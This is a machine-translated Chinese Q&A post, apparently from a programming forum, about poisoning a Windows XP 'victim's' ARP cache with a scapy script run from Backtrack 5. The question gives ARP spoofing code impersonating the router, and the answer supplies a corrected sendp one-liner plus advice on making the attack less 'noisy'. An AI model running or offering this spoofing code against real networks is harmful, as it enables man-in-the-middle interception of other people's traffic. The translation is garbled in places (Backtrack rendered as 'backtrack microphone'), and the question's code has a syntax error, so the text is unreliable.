我使用scapy攻击使用Backtrack 5的Windows XP计算机。
现在我的代码是:
#! /usr/bin/env python
from scapy.all import *
arp_p = ARP(op = 1, psrc = "192.168.0.1", pdst = "192.168.0.106", hwsrc = "00:0c:29:f0:2d:19", hwdst = "ff:ff:ff:ff:ff:ff)
send(arp_p)
上面的代码实际上由于某种原因发送了两个数据包。有一次我的回溯mac问:
然后他得到了"在"来自受害者的回答。谁拥有192.168.0.106 (受害者的IP)?告诉192.168.0.108 (Backtrack' s IP - 不支持!)。
第二次我的回溯麦克风问:
然后他得到了"在"再次从受害者那里回答。谁拥有192.168.0.106 (受害者的IP)?告诉192.168.0.1 (路由器' s IP)。
然后受害者的ARP表必须是相同mac但不同IP的线路,一个是Backtrack的真实IP,第二个是路由器的IP。
为什么会这样?
答案 0 :(得分:1)
您看到的第一个ARP
数据包来自Scapy,因为它希望在Ether
send()
数据包之前使用受害者的MAC地址填充ARP
帧。
如果您不希望发生这种情况,请尝试(sendp
在第2层发送):
>>> sendp(Ether(dst=ETHER_BROADCAST)/ARP(psrc = "192.168.0.1", pdst = "192.168.0.106"))
您可以将ETHER_BROADCAST
替换为受害者的MAC地址,而不是“嘈杂”。